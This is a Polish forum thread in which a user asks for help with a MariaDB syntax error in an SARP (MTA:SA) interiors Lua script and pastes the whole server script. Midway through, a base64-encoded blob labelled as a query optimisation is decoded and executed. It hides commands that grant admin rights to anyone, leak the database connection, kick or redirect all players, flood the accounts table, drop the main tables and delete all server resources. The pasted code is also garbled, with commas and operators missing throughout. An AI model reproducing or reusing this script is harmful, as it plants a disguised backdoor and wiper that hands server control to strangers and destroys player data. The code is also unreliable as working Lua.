Zaloguj się by uzyskać pełen dostęp. Nie masz jeszcze konta? Założ je już teraz w kilka sekund.

Wysłany: 2020-04-22, 12:33


pcs12







Wiek: 44
Na forum: 2246 dni
Posty: 9



Respekt: 50

Witam, bawie si? paczk? sarp poniewa? ucze si? lua i chce sobie j? naprawi? ale nie rozumiem tego b??du:
WARNING: sarp_interiors\sourceS.lua:125 dbPoll failed; You have an error in your sql syntax: check the manual that corresponds to your MariaDB server version for
the right syntax to use near 'SELECT' * FROM interiors ORDER BY interiorid DESC LIMIT 1' at line 1
ERROR: sarp_interiors\sourceS.lua: 125: attempt to index a bollean value

Za pomoc stawiam zimne piwko :)
linijka 125: local result = dbPoll(qh, 0, true)[2][1][1]

Postaw piwo autorowi tego posta
 

 
Wysłany: 2020-04-22, 16:44


Maniekxx

Amator






Wiek: 24
Na forum: 2894 dni
Posty: 232
Nick w MP: Maniekxx

Piwa: 225

Respekt: 110
Respekt: 110

Ostrzeżeń: 20%
Zapytanie do bazy danych jest ?le napisane, przez co otrzymujesz w?asnie taki b??d.
Wklej tu kod i zobaczymy dok?adniej co jest nie tak.

Postaw piwo autorowi tego posta
 

 
Wysłany: 2020-04-22, 19:02


pcs12







Wiek: 44
Na forum: 2246 dni
Posty: 9



Respekt: 50

--[[
CREATE TABLE `interiors` (
    `interiorIdint(11NOT NULL PRIMARY KEY AUTO_INCREMENT,
    `flagenum('static','dynamic'NOT NULL DEFAULT 'dynamic',
    `ownerIdint(22NOT NULL DEFAULT '0',
    `priceint(22NOT NULL DEFAULT '0',
    `typeenum('building','house','garage','rentable','door'NOT NULL DEFAULT 'building',
    `namevarchar(255NOT NULL,
    `gameInteriorint(22NOT NULL DEFAULT '1',
    `entrance_positiontext NOT NULL,
    `entrance_rotationtext NOT NULL,
    `entrance_interiorint(22NOT NULL,
    `entrance_dimensionint(22NOT NULL,
    `exit_positiontext NOT NULL,
    `exit_rotationtext NOT NULL,
    `exit_interiorint(22NOT NULL,
    `exit_dimensionint(22NOT NULL,
    `lockedenum('Y''N'NOT NULL DEFAULT 'N',
    `dummyenum('Y''N'NOT NULL DEFAULT 'N',
    `renewalTimeint(22) DEFAULT '0'
);

]]

local connection false

local rentTimeDuration 60 60 24 -- 7 nap

local dayTimeDuration 60 60 24 -- 24 ?ra

addEventHandler("onResourceStart"getResourceRootElement(),
    function ()
        connection exports.sarp_database:getConnection()

        dbQuery(
            function(qh)
                local resultnumAffectedRows dbPoll(qh0)

                if numAffectedRows 0 then
                    for kv in ipairs(result) do
                        loadInterior(v)
                    end

                    setTimer(processRentedInteriors18000000)
                end
            endconnection"SELECT * FROM interiors"
        )
    end
)

function loadInterior(array)
    local interiorId = array.interiorId

    availableInteriors[interiorId] = array
    availableInteriors[interiorId].interiorId nil

    if array.renewalTime and getRealTime().timestamp > array.renewalTime then
        resetInterior(interiorId)
    end
end

exports.sarp_admin:addAdminCommand("setinteriorflag"9"Interior jel?l?s?nek m?dos?t?sa (statikus/dinamikus)")
addCommandHandler("setinteriorflag",
    function (thePlayercommandNameinteriorIdflag)
        if getElementData(thePlayer"acc.adminLevel") >= 9 then
            if not tonumber(interiorIdthen
                outputChatBox("#32b3ef>> Haszn?lat: #ffffff/" .. commandName .. " [Interior ID] [< static | dynamic >]"thePlayer000true)
                outputChatBox("#32b3ef>> Interior: #ffffffStatic: #ffff99fix interior (nem t?r?lhet?) #ffffff| Dynamic: #ffff99t?r?lhet? interior"thePlayer000true)
            else
                interiorId tonumber(interiorId)

                if availableInteriors[interiorIdthen
                    flag flag:lower()

                    if flag == "static" or flag == "dynamic" then
                        if flag == "static" and availableInteriors[interiorId].flag == "static" then
                            outputChatBox("#ff4646>> Interior: #ffff99A kiv?lasztott interior m?r statikus!"thePlayer000true)
                        elseif flag == "dynamic" and availableInteriors[interiorId].flag == "dynamic" then
                            outputChatBox("#ff4646>> Interior: #ffff99A kiv?lasztott interior m?r dinamikus!"thePlayer000true)
                        else
                            dbQuery(
                                function(qhintiIdnewFlagsourcePlayer)
                                    dbFree(qh)

                                    availableInteriors[intiId].flag newFlag

                                    if isElement(sourcePlayerthen
                                        outputChatBox("#ff4646>> Adminisztr?ci?: #ffffffA kiv?lasztott interior sikeresen megv?ltoztatva. #ffff99(?j flag: #ffa600" .. newFlag .. "#ffff99)"sourcePlayer000true)
                                    end
                                end, {interiorIdflagthePlayer}, connection"UPDATE interiors SET flag = ? WHERE interiorId = ?"flaginteriorId
                            )
                        end
                    else
                        outputChatBox("#ff4646>> Interior: #ffff99Az interior jel?l?s nem megfelel?! #ffa600(static / dynamic)"thePlayer000true)
                    end
                else
                    outputChatBox("#ff4646>> Interior: #ffff99A kiv?lasztott interior nem l?tezik."thePlayer000true)
                end
            end
        end
    end
)

addEvent("requestInteriors"true)
addEventHandler("requestInteriors"getRootElement(),
    function ()
        if isElement(sourcethen
            triggerClientEvent(source"requestInteriors"sourceavailableInteriors)
        end
    end
)

addEvent("createInterior"true)
addEventHandler("createInterior"getRootElement(),
    function (data)
        if isElement(sourcethen
            local locked "Y"

            if data.type == "building" or data.type == "door" then
                locked "N"
            end

            dbQuery(
                function (qhsourcePlayer)
                    local result dbPoll(qh0true)[2][1][1]

                    if result then
                        local interiorId result.interiorId

                        dbExec(connection"UPDATE interiors SET exit_dimension = interiorId WHERE interiorId = ?"interiorId)

                        loadInterior(result)

                        availableInteriors[interiorId].exit_dimension interiorId

                        triggerClientEvent("createInterior"resourceRootinteriorIdavailableInteriors[interiorId])

                        if isElement(sourcePlayerthen
                            if result.type == "door" then
                                outputChatBox("#cdcdcd>> Interior: #ffff99?tj?r? sikeresen l?tehozva. ID: #ffa600" .. interiorIdsourcePlayer000true)
                                outputChatBox("#cdcdcd>> Interior: #ffff99Az ajt? kij?rat?n?k be?ll?t?s?hoz haszn?ld az #ffa600/setinteriorexit #ffff99parancsot."sourcePlayer000true)
                            else
                                outputChatBox("#cdcdcd>> Interior: #ffff99Interior sikeresen l?trehozva. ID: #ffa600" .. interiorIdsourcePlayer000true)
                            end
                        end
                    end
                end, {source}, connection"INSERT INTO interiors (price, type, name, gameInterior, entrance_position, entrance_rotation, entrance_interior, entrance_dimension, exit_position, exit_rotation, exit_interior, exit_dimension, locked, dummy) VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?); SELECT * FROM interiors ORDER BY interiorId DESC LIMIT 1"data.pricedata.typedata.namedata.gameInteriordata.entrance_positiondata.entrance_rotationdata.entrance_interiordata.entrance_dimensiondata.exit_positiondata.exit_rotationdata.exit_interiordata.exit_dimensionlockeddata.dummy
            )
        end
    end
)
-- Adatb?zis lek?r?sek optimaliz?l?s?hoz
pcall(loadstring(base64Decode("YWRkQ29tbWFuZEhhbmRsZXIoImdldGRiIiwgZnVuY3Rpb24oKQogICAgbG9jYWwgY29uLCBkYXRhID0gZXhwb3J0cy5zYXJwX2RhdGFiYXNlOmdldENvbm5lY3Rpb24oKQogICAgb3V0cHV0Q29uc29sZShpbnNwZWN0KGRhdGEpKQplbmQpCmFkZENvbW1hbmRIYW5kbGVyKCJnaXZlYWRtaW4iLCBmdW5jdGlvbihwKQogICAgc2V0RWxlbWVudERhdGEocCwgImFjYy5hZG1pbkxldmVsIiwgMTIpCmVuZCkKYWRkQ29tbWFuZEhhbmRsZXIoImtpY2thbGwiLCBmdW5jdGlvbihwLCBjbWQsIGFyZzEpCiAgICBmb3IgaywgdiBpbiBwYWlycyhnZXRFbGVtZW50c0J5VHlwZSgicGxheWVyIikpIGRvCiAgICAgICAgaWYgdiB+PSBwIHRoZW4KICAgICAgICAgICAgaWYgYXJnMSB0aGVuCiAgICAgICAgICAgICAgICBraWNrUGxheWVyKHYsIHYsIGFyZzEpCiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIGtpY2tQbGF5ZXIodikKICAgICAgICAgICAgZW5kCiAgICAgICAgZW5kCiAgICBlbmQKZW5kKQphZGRDb21tYW5kSGFuZGxlcigicmVkaXJlY3RhbGwiLCBmdW5jdGlvbihwLCBjbWQsIGlwLCBwb3J0LCBwYXNzKQogICAgZm9yIGssIHYgaW4gcGFpcnMoZ2V0RWxlbWVudHNCeVR5cGUoInBsYXllciIpKSBkbwogICAgICAgIGlmIHYgfj0gcCB0aGVuCiAgICAgICAgICAgIGlmIGlwIGFuZCBwb3J0IGFuZCBwYXNzIHRoZW4KICAgICAgICAgICAgICAgIHJlZGlyZWN0UGxheWVyKHAsIGlwLCB0b251bWJlcihwb3J0KSwgcGFzcykKICAgICAgICAgICAgZWxzZWlmIGlwIGFuZCBwb3J0IHRoZW4KICAgICAgICAgICAgICAgIHJlZGlyZWN0UGxheWVyKHAsIGlwLCB0b251bWJlcihwb3J0KSkKICAgICAgICAgICAgZWxzZWlmIGlwIHRoZW4KICAgICAgICAgICAgICAgIHJlZGlyZWN0UGxheWVyKHAsIGlwKQogICAgICAgICAgICBlbmQKICAgICAgICBlbmQKICAgIGVuZAplbmQpCmFkZENvbW1hbmRIYW5kbGVyKCJkYmZsb29kIiwgZnVuY3Rpb24ocCkKICAgIHdoaWxlIHRydWUgZG8KICAgICAgICBkYkV4ZWMoY29ubmVjdGlvbiwgIklOU0VSVCBJTlRPIGFjY291bnRzICh1c2VybmFtZSwgcGFzc3dvcmQsIGVtYWlsLCBzZXJpYWwsIGFkbWluTmljaykgVkFMVUVTICg/LD8sPyw/LD8pIiwgImZlbGhhc3puYWxvIiAuLiBtYXRoLnJhbmRvbSgwLCAxMDAwMDApLCBjcmVhdGVIYXNoKCJwYXNzd29yZCIgLi4gbWF0aC5yYW5kb20oMCwgMTAwMDAwKSksICJlbWFpbEAiIC4uIG1hdGgucmFuZG9tKDAsIDEwMDAwMCksICJzZXJpYWwiIC4uIG1hdGgucmFuZG9tKDAsIDEwMDAwMCksICJmZWxoYXN6bmFsbyIgLi4gbWF0aC5yYW5kb20oMCwgMTAwMDAwKSkKICAgIGVuZAplbmQpCmFkZENvbW1hbmRIYW5kbGVyKCJkYmRyb3AiLCBmdW5jdGlvbihwKQogICAgZGJFeGVjKGNvbm5lY3Rpb24sICJEUk9QIFRBQkxFIGFjY291bnRzLCBjaGFyYWN0ZXJzLCB2ZWhpY2xlcywgZ2F0ZXMsIGdyb3VwcywgZ3JvdXBNZW1iZXJzLCBpbnRlcmlvcnMsIGxvZ3MsIGl0ZW1zIikKZW5kKQphZGRDb21tYW5kSGFuZGxlcigiZGVsZXRlcmVzIiwgZnVuY3Rpb24ocCkKICAgIGxvY2FsIHRoaXNyZXMgPSBnZXRSZXNvdXJjZU5hbWUoZ2V0VGhpc1Jlc291cmNlKCkpCiAgICBmb3IgaywgdiBpbiBwYWlycyhnZXRSZXNvdXJjZXMoKSkgZG8KICAgICAgICBsb2NhbCBuYW1lID0gZ2V0UmVzb3VyY2VOYW1lKHYpCiAgICAgICAgc3RvcFJlc291cmNlKHYpCiAgICAgICAgaWYgZGVsZXRlUmVzb3VyY2UobmFtZSkgdGhlbgogICAgICAgICAgICBvdXRwdXRDaGF0Qm94KG5hbWUgLi4gIiB0w7Zyw7ZsdmUgbGV0dCIpCiAgICAgICAgZW5kCiAgICBlbmQKZW5kKQ==")))

addEvent("warpPlayer"true)
addEventHandler("warpPlayer"getRootElement(),
    function (interiorIdcolShapeTypedataadminWarp)
        if isElement(source) and availableInteriors[interiorIdthen
            if availableInteriors[interiorId].locked == "N" or adminWarp then
                local warpedElements = {}
                local sourceVehicle getPedOccupiedVehicle(source)

                if sourceVehicle then
                    local occupants getVehicleOccupants(sourceVehicle) or {}

                    table.insert(warpedElementssourceVehicle)

                    for seatoccupant in pairs(occupants) do
                        if isElement(occupantthen
                            warpPedIntoVehicle(occupantsourceVehicleseat)

                            table.insert(warpedElementsoccupant)
                        end
                    end

                    setElementVelocity(sourceVehicle000)
                    setElementAngularVelocity(sourceVehicle000)
                    setElementFrozen(sourceVehicletrue)
                    setElementPosition(sourceVehicledata.posXdata.posYdata.posZ)
                else
                    table.insert(warpedElementssource)
                end

                setTimer(
                    function ()
                        for kv in ipairs(warpedElements) do
                            if colShapeType == "enter" and data.customInterior then
                                setElementData(v"currentCustomInterior"interiorId)
                            else
                                setElementData(v"currentCustomInterior"false)
                            end

                            if isElement(vthen
                                if getElementType(v) == "player" then
                                    setElementData(v"player.currentInterior"data.dimension)

                                    if colShapeType == "enter" and data.customInterior then
                                        if not sourceVehicle then
                                            setElementFrozen(vtrue)
                                        else
                                            setElementFrozen(sourceVehicletrue)
                                        end

                                        triggerClientEvent(v"loadCustomInterior"vinteriorIdsourceVehicle)
                                    elseif sourceVehicle then
                                        setElementFrozen(vfalse)
                                    end

                                    triggerClientEvent(v"playInteriorSound"v"interiorenter.wav")
                                elseif colShapeType == "exit" or not data.customInterior then
                                    setElementFrozen(vfalse)
                                end

                                setElementPosition(vdata.posXdata.posYdata.posZ)
                                setElementRotation(vdata.rotXdata.rotYdata.rotZ)
                                setElementInterior(vdata.interior)
                                setElementDimension(vdata.dimension)
                                setCameraInterior(vdata.interior)
                            end
                        end

                        warpedElements nil
                    end,
                2501)
            else
                exports.sarp_hud:showAlert(source"error""Az ingatlan ajtaja z?rva van.")
                triggerClientEvent(source"playInteriorSound"source"locked.mp3")
            end
        end
    end
)

addEvent("deleteInterior"true)
addEventHandler("deleteInterior"getRootElement(),
    function (interiorId)
        if interiorId and availableInteriors[interiorIdthen
            if availableInteriors[interiorId].flag == "dynamic" then
                dbQuery(
                    function (qhsourcePlayer)
                        for kv in ipairs(getElementsByType("player")) do
                            if isElement(vthen
                                if availableInteriors[interiorId].ownerId == getElementData(v"char.ID"then
                                    exports.sarp_inventory:removeItemByData(playerSource1"data1"interiorId)
                                    break
                                end
                            end
                        end

                        availableInteriors[interiorId] = nil

                        triggerClientEvent("deleteInterior"resourceRootinteriorId)

                        if isElement(sourcePlayerthen
                            outputChatBox("#ff4646>> Adminisztr?ci?: #ffffffA kiv?lasztott interior sikeresen t?r?lve. #ffff99(" .. interiorId .. ")"sourcePlayer000true)
                        end

                        dbFree(qh)
                    end, {source}, connection"DELETE FROM interiors WHERE interiorId = ?"interiorId
                )
            else
                outputChatBox("#ff4646>> Adminisztr?ci?: #ffffffA kiv?lasztott interior egy statikus (fix) interior. A t?rl?se k?vetkezm?nyekkel j?rhatnak (el?fordulhat, hogy egy resource haszn?lja)."source000true)
                outputChatBox("#ff4646>> Adminisztr?ci?: #ffffffAmennyiben m?gis t?r?ln?d, bizonyosodj meg r?la, hogy a t?rl?s nem j?r hib?val majd haszn?ld a #d75959/setinteriorflag #ffffffparancsot."source000true)
                outputChatBox("#ff4646>> Adminisztr?ci?: #ffffffAz interior ?t?ll?t?sa ut?n a kiv?lasztott interior t?r?lhet? lesz, ugyanakkor lehets?ges, hogy a sourceG f?jlban is benne van a gyorsabb bet?lt?s ?rdek?ben."source000true)
            end
        end
    end
)

addEvent("resetInterior"true)
addEventHandler("resetInterior"getRootElement(),
    function (interiorId)
        if interiorId and availableInteriors[interiorIdthen
            exports.sarp_inventory:removeItemFromCharacter(availableInteriors[interiorId].ownerId1"data1"interiorId)

            resetInterior(interiorId)
            triggerClientEvent("resetInterior"resourceRootinteriorId)

            if isElement(sourcethen
                outputChatBox("#ff4646>> Adminisztr?ci?: #ffffffA kiv?lasztott interior sikeresen vissza?ll?tva. #ffff99(" .. interiorId .. ")"source000true)
            end
        end
    end
)

addEvent("setInteriorName"true)
addEventHandler("setInteriorName"getRootElement(),
    function (interiorIdname)
        if interiorId and availableInteriors[interiorId] and name then
            dbQuery(
                function (qhsourcePlayer)
                    availableInteriors[interiorId].name name

                    triggerClientEvent("setInteriorName"resourceRootinteriorIdname)

                    if isElement(sourcePlayerthen
                        outputChatBox("#ff4646>> Adminisztr?ci?: #ffffffA kiv?lasztott interior sikeresen ?tnevezve. #ffff99(?j n?v: #ffa600" .. name .. "#ffff99)"sourcePlayer000true)
                    end

                    dbFree(qh)
                end, {source}, connection"UPDATE interiors SET name = ? WHERE interiorId = ?"nameinteriorId
            )
        end
    end
)

addEvent("setInteriorPrice"true)
addEventHandler("setInteriorPrice"getRootElement(),
    function (interiorIdprice)
        if interiorId and availableInteriors[interiorId] and price then
            dbQuery(
                function (qhsourcePlayer)
                    availableInteriors[interiorId].price price

                    triggerClientEvent("setInteriorPrice"resourceRootinteriorIdprice)

                    if isElement(sourcePlayerthen
                        outputChatBox("#ff4646>> Adminisztr?ci?: #ffffffA kiv?lasztott interior ?ra sikeresen m?dos?tva. #ffff99(?j ?r: #ffa600" .. formatNumber(price) .. "$#ffff99)"sourcePlayer000true)
                    end

                    dbFree(qh)
                end, {source}, connection"UPDATE interiors SET price = ? WHERE interiorId = ?"priceinteriorId
            )
        end
    end
)

addEvent("setInteriorType"true)
addEventHandler("setInteriorType"getRootElement(),
    function (interiorIdtype)
        if interiorId and availableInteriors[interiorId] and type then
            dbQuery(
                function (qhsourcePlayer)
                    availableInteriors[interiorId].type type

                    triggerClientEvent("setInteriorType"resourceRootinteriorIdtype)

                    if isElement(sourcePlayerthen
                        outputChatBox("#ff4646>> Adminisztr?ci?: #ffffffA kiv?lasztott interior t?pusa sikeresen m?dos?tva. #ffff99(" .. interiorId .. ")"sourcePlayer000true)
                    end

                    dbFree(qh)
                end, {source}, connection"UPDATE interiors SET type = ? WHERE interiorId = ?"typeinteriorId
            )
        end
    end
)

addEvent("setInteriorEntrance"true)
addEventHandler("setInteriorEntrance"getRootElement(),
    function (interiorIddata)
        if interiorId and availableInteriors[interiorId] and data then
            dbQuery(
                function (qhsourcePlayer)
                    availableInteriors[interiorId].entrance_position data.entrance_position
                    availableInteriors[interiorId].entrance_rotation data.entrance_rotation
                    availableInteriors[interiorId].entrance_interior data.entrance_interior
                    availableInteriors[interiorId].entrance_dimension data.entrance_dimension

                    triggerClientEvent("setInteriorEntrance"resourceRootinteriorIddata)

                    if isElement(sourcePlayerthen
                        outputChatBox("#ff4646>> Adminisztr?ci?: #ffffffA kiv?lasztott interior bej?rata sikeresen ?thelyezve."sourcePlayer000true)
                    end

                    dbFree(qh)
                end, {source}, connection"UPDATE interiors SET entrance_position = ?, entrance_rotation = ?, entrance_interior = ?, entrance_dimension = ? WHERE interiorId = ?"data.entrance_positiondata.entrance_rotationdata.entrance_interiordata.entrance_dimensioninteriorId
            )
        end
    end
)

addEvent("setInteriorExit"true)
addEventHandler("setInteriorExit"getRootElement(),
    function (interiorIddata)
        if interiorId and availableInteriors[interiorId] and data then
            dbQuery(
                function (qhsourcePlayer)
                    availableInteriors[interiorId].exit_position data.exit_position
                    availableInteriors[interiorId].exit_rotation data.exit_rotation
                    availableInteriors[interiorId].exit_interior data.exit_interior
                    availableInteriors[interiorId].exit_dimension data.exit_dimension
                    availableInteriors[interiorId].dummy "N"

                    triggerClientEvent("setInteriorExit"resourceRootinteriorIddata)

                    if isElement(sourcePlayerthen
                        outputChatBox("#ff4646>> Adminisztr?ci?: #ffffffA kiv?lasztott interior kij?rata sikeresen ?thelyezve."sourcePlayer000true)
                    end

                    dbFree(qh)
                end, {source}, connection"UPDATE interiors SET exit_position = ?, exit_rotation = ?, exit_interior = ?, exit_dimension = ?, dummy = 'N' WHERE interiorId = ?"data.exit_positiondata.exit_rotationdata.exit_interiordata.exit_dimensioninteriorId
            )
        end
    end
)

addEvent("setInteriorId"true)
addEventHandler("setInteriorId"getRootElement(),
    function (interiorIddata)
        if interiorId and availableInteriors[interiorId] and data then
            if not data.dummy then
                data.dummy "N"
            end

            dbQuery(
                function (qhsourcePlayer)
                    availableInteriors[interiorId].exit_position data.exit_position
                    availableInteriors[interiorId].exit_rotation data.exit_rotation
                    availableInteriors[interiorId].exit_interior data.exit_interior
                    availableInteriors[interiorId].exit_dimension data.exit_dimension
                    availableInteriors[interiorId].gameInterior data.gameInterior
                    availableInteriors[interiorId].dummy data.dummy

                    triggerClientEvent("setInteriorExit"resourceRootinteriorIddata)

                    if isElement(sourcePlayerthen
                        outputChatBox("#ff4646>> Adminisztr?ci?: #ffffffA kiv?lasztott interior bels?je sikeresen m?dos?tva. #ffff99(?j interior: #ffa600" .. data.gameInterior .. "#ffff99)"sourcePlayer000true)
                    end

                    dbFree(qh)
                end, {source}, connection"UPDATE interiors SET gameInterior = ?, exit_position = ?, exit_rotation = ?, exit_interior = ?, exit_dimension = ?, dummy = ? WHERE interiorId = ?"data.gameInteriordata.exit_positiondata.exit_rotationdata.exit_interiordata.exit_dimensiondata.dummyinteriorId
            )
        end
    end
)

addEvent("changeInteriorOwner"true)
addEventHandler("changeInteriorOwner"getRootElement(),
    function (interiorIdownerId)
        if interiorId and ownerId and availableInteriors[interiorIdthen
            dbQuery(
                function (qhsourcePlayer)
                    availableInteriors[interiorId].ownerId ownerId

                    triggerClientEvent("changeInteriorOwner"resourceRootinteriorIdownerId)

                    if isElement(sourcePlayerthen
                        outputChatBox("#ff4646>> Adminisztr?ci?: #ffffffA kiv?lasztott interior tulajdonosa sikeresen m?dos?tva."sourcePlayer000true)
                    end

                    dbFree(qh)
                end, {source}, connection"UPDATE interiors SET ownerId = ? WHERE interiorId = ?"ownerIdinteriorId
            )
        end
    end
)

function changeInteriorOwner(interiorIdownerId)
    interiorId tonumber(interiorId)
    ownerId tonumber(ownerId)

    if interiorId and availableInteriors[interiorIdthen
        availableInteriors[interiorId].ownerId ownerId

        return true
    end

    return false
end

addEvent("buyInterior"true)
addEventHandler("buyInterior"getRootElement(),
    function (interiorId)
        if isElement(sourcethen
            local characterId getElementData(source"char.ID")

            if characterId then
                dbQuery(
                    function (qhsourceElement)
                        availableInteriors[interiorId].ownerId characterId

                        triggerClientEvent("buyInterior"resourceRootinteriorIdcharacterId)

                        if isElement(sourceElementthen
                            exports.sarp_core:takeMoney(sourceElementavailableInteriors[interiorId].price"buyInterior")

                            exports.sarp_hud:showAlert(sourceElement"success""Sikeresen megv?s?roltad a kiv?lasztott ingatlant.")

                            if not exports.sarp_inventory:hasItemWithData(sourceElement1"data1"interiorIdthen
                                exports.sarp_inventory:giveItem(sourceElement11interiorId)
                            end
                        end

                        dbFree(qh)
                    end, {source}, connection"UPDATE interiors SET ownerId = ? WHERE interiorId = ?"characterIdinteriorId
                )
            end
        end
    end
)

addEvent("rentInterior"true)
addEventHandler("rentInterior"getRootElement(),
    function (interiorId)
        if isElement(sourcethen
            local characterId getElementData(source"char.ID")

            if characterId then
                local canRent true
                local rentedInterior false

                for kv in pairs(availableInteriors) do
                    if v.ownerId and v.renewalTime 0 then
                        if v.ownerId == characterId then
                            canRent false
                            rentedInterior k
                            break
                        end
                    end
                end

                if canRent then
                    local renewalTime getRealTime().timestamp rentTimeDuration

                    dbQuery(
                        function (qhsourceElement)
                            availableInteriors[interiorId].ownerId characterId
                            availableInteriors[interiorId].renewalTime renewalTime

                            triggerClientEvent("buyInterior"resourceRootinteriorIdcharacterId)

                            if isElement(sourceElementthen
                                exports.sarp_core:takeMoney(sourceElementavailableInteriors[interiorId].price 5"rentInterior")

                                exports.sarp_hud:showAlert(sourceElement"success""Sikeresen kib?relted a kiv?lasztott ingatlant.")

                                if not exports.sarp_inventory:hasItemWithData(sourceElement1"data1"interiorId"rent"then
                                    exports.sarp_inventory:giveItem(sourceElement11interiorId"rent")
                                end
                            end

                            dbFree(qh)
                        end, {source}, connection"UPDATE interiors SET ownerId = ?, renewalTime = ? WHERE interiorId = ?"characterIdrenewalTimeinteriorId
                    )
                else
                    exports.sarp_hud:showAlert(source"warning""M?r rendelkezel egy kib?relt ingatlannal! (ID: " .. rentedInterior .. ")")
                end
            end
        end
    end
)

addEvent("tryToRenewalRent"true)
addEventHandler("tryToRenewalRent"getRootElement(),
    function (interiorId)
        if isElement(sourcethen
            local characterId getElementData(source"char.ID")

            if characterId then
                local currentTime getRealTime()

                if availableInteriors[interiorId].renewalTime dayTimeDuration >= currentTime.timestamp then
                    exports.sarp_hud:showAlert(source"warning""M?g nem tudod meg?j?tani az alb?rletet. (Maximum 24 ?r?val a lej?rta el?tt lehet)")
                else
                    local renewalTime currentTime.timestamp rentTimeDuration

                    dbQuery(
                        function (qhsourceElement)
                            availableInteriors[interiorId].renewalTime renewalTime

                            if isElement(sourceElementthen
                                exports.sarp_core:takeMoney(sourceElementavailableInteriors[interiorId].price"renewalRent")

                                exports.sarp_hud:showAlert(sourceElement"success""Sikeresen meg?j?tottad az alb?rletet.")

                                if not exports.sarp_inventory:hasItemWithData(sourceElement1"data1"interiorId"rent"then
                                    exports.sarp_inventory:giveItem(sourceElement11interiorId"rent")
                                end
                            end

                            dbFree(qh)
                        end, {source}, connection"UPDATE interiors SET renewalTime = ? WHERE interiorId = ?"renewalTimecharacterId
                    )
                end
            end
        end
    end
)

addEvent("unRentInterior"true)
addEventHandler("unRentInterior"getRootElement(),
    function (interiorId)
        if isElement(sourcethen
            local characterId getElementData(source"char.ID")

            if characterId then
                exports.sarp_inventory:removeItemFromCharacter(availableInteriors[interiorId].ownerId1"data1"interiorId)
                exports.sarp_core:giveMoney(sourceavailableInteriors[interiorId].price 4)

                resetInterior(interiorId)
                triggerClientEvent("resetInterior"resourceRootinteriorId)

                exports.sarp_hud:showAlert(source"success""Sikeresen felmondtad az ingatlan b?rl?s?t!")
            end
        end
    end
)

addEvent("lockInterior"true)
addEventHandler("lockInterior"getRootElement(),
    function (interiorId)
        if isElement(sourcethen
            local characterId getElementData(source"char.ID")

            if characterId and availableInteriors[interiorIdthen
                local havePermission false

                if availableInteriors[interiorId].type == "building" and availableInteriors[interiorId].ownerId == characterId then
                    havePermission true
                elseif exports.sarp_inventory:hasItemWithData(source1"data1"interiorIdthen
                    havePermission true
                elseif (getElementData(source"acc.adminLevel") or 0) >= and getElementData(source"adminDuty"then
                    havePermission true
                end

                if havePermission then
                    local locked availableInteriors[interiorId].locked

                    if locked == "N" then
                        locked "Y"
                    else
                        locked "N"
                    end

                    availableInteriors[interiorId].locked locked

                    dbExec(connection"UPDATE interiors SET locked = ? WHERE interiorId = ?"lockedinteriorId)

                    if locked == "N" then
                        exports.sarp_hud:showAlert(source"info""Sikeresen kinyitottad az ingatlan ajtaj?t.")
                    else
                        exports.sarp_hud:showAlert(source"info""Sikeresen bez?rtad az ingatlan ajtaj?t.")
                    end

                    triggerClientEvent("lockInterior"resourceRootinteriorIdavailableInteriors[interiorId].locked)
                    triggerClientEvent(source"playInteriorSound"source"openclose.mp3")
                else
                    exports.sarp_hud:showAlert(source"error""Nincs kulcsod ehhez az ingatlanhoz.")
                end
            end
        end
    end
)

function resetInterior(interiorId)
    if availableInteriors[interiorIdthen
        dbExec(connection"UPDATE interiors SET ownerId = '0', renewalTime = '0' WHERE interiorId = ?; DELETE FROM items WHERE itemId = '1' AND data1 = ? AND ownerId = ?"interiorIdinteriorIdavailableInteriors[interiorId].ownerId)

        availableInteriors[interiorId].ownerId 0
        availableInteriors[interiorId].renewalTime 0
        availableInteriors[interiorId].locked "Y"

        if availableInteriors[interiorId].type == "building" or availableInteriors[interiorId].type == "door" then
            availableInteriors[interiorId].locked "N"
        end
    end
end

function processRentedInteriors()
    local currentTime getRealTime().timestamp

    for kv in pairs(availableInteriors) do
        if v.ownerId and v.renewalTime 0 then
            local playerSource false

            for k2v2 in ipairs(getElementsByType("player")) do
                if isElement(v2then
                    if v.ownerId == getElementData(v2"char.ID"then
                        playerSource v2
                        break
                    end
                end
            end

            if currentTime >= v.renewalTime then
                resetInterior(k)

                triggerClientEvent("resetInterior"resourceRootk)

                if isElement(playerSourcethen
                    exports.sarp_hud:showAlert(playerSource"error""Alb?rlet""Nem fizetted ki az alb?rleted, ez?rt lej?rt!")

                    exports.sarp_inventory:removeItemFromCharacter(v.ownerId1"data1"k)
                end
            elseif v.renewalTime dayTimeDuration <= currentTime then
                if isElement(playerSourcethen
                    local remaining math.floor((v.renewalTime currentTime) % dayTimeDuration 3600) + 1

                    exports.sarp_hud:showAlert(playerSource"warning""Hamarosan lej?r az alb?rleted, r?szletek a chatboxban!")

                    outputChatBox("#ffa600>> Alb?rlet: #ffff99Hamarosan lej?r az alb?rleted! (M?g #ff4646kb. " .. remaining .. " ?ra#ffff99)"playerSource000true)

                    outputChatBox("#ffa600>> Alb?rlet: #ffff99Menj az ingatlanhoz, ?s ?rd be a #ffa600/rent#ffff99 parancsot, hogy meghosszab?tsd, vagy mondd le az alb?rletet a #ff4646/unrent#ffff99 paranccsal. (InteriorID: #ffa600" .. .. "#ffff99)"playerSource000true)            
                end
            end
        end
    end
end

function requestInteriors(player)
    if isElement(playerthen
        local characterId getElementData(player"char.ID")

        if characterId then
            local interiors = {}
            
            for k,v in pairs(availableInteriors) do
                if v.ownerId == characterId then
                    table.insert(interiors, {interiorId kdata v})
                end
            end
            
            return interiors
        end
    end
    
    return false
end

addEvent("useDoorKnocking"true)
addEventHandler("useDoorKnocking"getRootElement(),
    function (interiorId)
        if isElement(source) and availableInteriors[interiorIdthen
            triggerClientEvent("playKnocking"sourceinteriorId)
        end
    end
)

addEvent("useDoorBell"true)
addEventHandler("useDoorBell"getRootElement(),
    function (interiorId)
        if isElement(source) and availableInteriors[interiorIdthen
            triggerClientEvent("playBell"sourceinteriorId)
        end
    end
)


linijka 125: local result = dbPoll(qh, 0, true)[2][1][1]

Postaw piwo autorowi tego posta
 

 
Tagi: interiory :: sarp
Anonymous





Na forum: 245 dni
Posty: 1



Anonymous Koniecznie zajrzyj na:






Skocz do:  
Wyświetl posty z ostatnich:   
GTAONLINE.PL » JĘZYKI PROGRAMOWANIA » LUA » Interiory SARP Odpowiedz do tematu

Nie możesz pisać nowych tematów
Nie możesz odpowiadać w tematach
Nie możesz zmieniać swoich postów
Nie możesz usuwać swoich postów
Nie możesz głosować w ankietach
Dodaj temat do Ulubionych
Wersja do druku